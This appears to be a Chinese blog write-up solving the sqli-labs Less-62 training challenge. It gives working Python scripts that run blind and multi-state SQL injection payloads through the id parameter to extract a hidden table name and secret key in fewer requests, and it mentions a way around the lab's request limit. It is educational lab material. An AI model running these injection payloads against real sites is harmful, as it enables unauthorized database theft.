sqli-labs靶场Less-62题目,是通过布尔注入获取一段secret key,该key存于challenges
数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。
靶场搭建
直接用docker搭建:sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest
二分法
该注入点是id
参数,SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1
,注入时用')
闭合。一般思路是先获取存key的表的表名,再获取key所在的列的列名,再获取key。表名有10个字符,由大写字母和数字构成;列名为secret_4个字符
,这4个字符由大写字母和数字构成;secret key为24个字符,由大小写字母和数字构成。
下面的脚本采用二分法比较ASCII码来获取数据,请求次数在210次左右。而题目要求是130次内,不过请求不带Cookie可绕过了这个限制。
#!/usr/bin/python3
# -*-coding:utf-8-*-
import requests
import string
"""
表名:10个字符。有大写字母和数字构成
列名:secret_接4个字符,这4个字符由大写字母和数字构成
secret:24个字符,由大小写字母和数字构成
"""
un_chars = string.digits + string.ascii_uppercase # 按ASCII码从小到大排序
uln_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase # 按ASCII码从小到大排序
url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0
def extract_data(tmpl_payload, length, chars):
global try_count
result = ""
for i in range(1, length + 1):
left, right = 0, len(chars) - 1
while left < right:
m = (left + right) // 2 # 左中位数
payload = tmpl_payload % (i, ord(chars[m]))
resp = requests.get(url, params={"id": payload})
try_count += 1 # 统计请求个数
if "Your Login name" in resp.text:
left = m + 1
else:
right = m
result += chars[left]
return result
table_name = extract_data(
"1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#",
10, un_chars
)
print("table_name:", table_name)
column_name = "secret_" + extract_data(
"1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#",
4, un_chars
)
print("column_name:", column_name)
secret_key = extract_data(
"1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#",
24, uln_chars
)
print("secret_key:", secret_key)
print("Done. try_count:", try_count)
利用多状态
虽说上面可以绕过尝试次数限制,那如果就要尝试次数在130次内呢。
上面的二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,响应里有两种状态:有查询结果和无查询结果。其实响应里存在多个状态,id为1时返回的Login name
为Angelina
,为2
时返回的是Dummy
,还有为3,为4,为5等。假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,如:我们要判断某串字符串第i
个字符的第j
位开始的三个比特是否为:000,001,010,011,100,101,110或111,写成SQL语句就是:
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2))
WHEN 0 THEN 1
WHEN 2**j THEN 2
WHEN 2**(j+1) THEN 3
WHEN 2**(j+1) + 2**j THEN 4
WHEN 2**(j+2) THEN 5
WHEN 2**(j+2) + 2**j THEN 6
WHEN 2**(j+2) + 2**(j+1) THEN 7
ELSE 8
END
因为users表里的数据有13条,也就是13个状态,大于8,小于16,所以每次请求通过比较8个状态获取3个比特的数据。
一个小问题:为什么id为1时,返回的name是
Angelina
?而数据库里id为1的name是Dumb
?因为响应中返回的name是从硬编码在PHP代码里的数组里通过下标获取的,看代码:https://github.com/Audi-1/sqli-labs/blob/886b0dcc733c1a36caf10cfba076397b9e09ce7f/Less-62/index.php#L104
通过上面的思路,编写脚本如下。请求次数减少到114次。
#!/usr/bin/python3
# -*-coding:utf-8-*-
import re
import requests
url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0
def extract_bits(query, i, j):
"""
获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
"""
global try_count
payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)
resp = requests.get(url, params={"id": payload})
try_count += 1
info = {
"Angelina": "000",
"Dummy": "001",
"secure": "010",
"stupid": "011",
"superman": "100",
"batman": "101",
"admin": "110",
"admin1": "111"
}
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
bits = info.get(match.group(1))
assert bits
return bits
def extract_data(query, length):
res = ""
for i in range(1, length+1):
b3 = extract_bits(query, i, 0) # 00000111
b2 = extract_bits(query, i, 3) # 00111000
b1 = extract_bits(query, i, 5) # 11100000
bit = b1[:2] + b2 + b3
res += chr(int(bit, 2))
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
column_name = "secret_" + extract_data(
"substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
4
)
print("column_name:", column_name)
secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
print("secret_key:", secret_key)
print("Done. try_count:", try_count)
再减少点次数
上面通过获取表名,再列名,再key。其实也可以不获取列名,只要知道表里有多少列,key所在的列在第几列即可,少点尝试次数。将上面main块的代码改成:
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24) # 主要改的是这一句
print("secret_key:", secret_key)
print("Done. try_count:", try_count)
请求次数是102次。
再减少些次数
一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。进到docker容器里(sudo docker exec -it sqli-lab mysql
)执行下面SQL语句测试下:
use security
SELECT * FROM users; # 返回了数据
SELECT * FROM userS; # 报错,表名不存在
SELECT * FROM users WHERE username='admin'; # 返回admin
SELECT * FROM users WHERE username='ADMIn'; # 还是可以返回admin
再看sqli-labs比较key是否正确的SQL语句(代码在这):
SELECT 1 FROM $table WHERE $col1= '$key';
所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。
再看数字、大写字母、小写字母的ASCII码的二进制格式:
数字: 0011xxxx
大写: 010xxxxx
小写: 011xxxxx
在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可。
编写脚本如下:
#!/usr/bin/python3
# -*-coding:utf-8-*-
import re
import requests
url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0
def extract_bits(query, i, bit_values: list):
"""
获取query执行结果的第 i 个(从1开始算)字符的3个比特
哪3个比特由bit_values指定
"""
global try_count
assert len(bit_values) == 8
bit_marks = 0
for v in bit_values:
bit_marks |= v
payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)
resp = requests.get(url, params={"id": payload})
try_count += 1
infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
assert match.group(1) in infos
bits = bit_values[infos.index(match.group(1))]
return bits
def extract_data(query, length):
"""
获取query查询结果的length个字符,每个字符只获取其第7位和前5位
"""
res = ""
for i in range(1, length+1):
b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111
b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000
if b1 & 0b01000000 == 0:
# 该字符为数字
bit = b1 | b2 | 0b00100000
else:
# 该字符为字母
bit = b1 | b2
res += chr(bit)
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
print("secret_key:", secret_key)
print("Done. try_count:", try_count)
请求次数是68次。
网友评论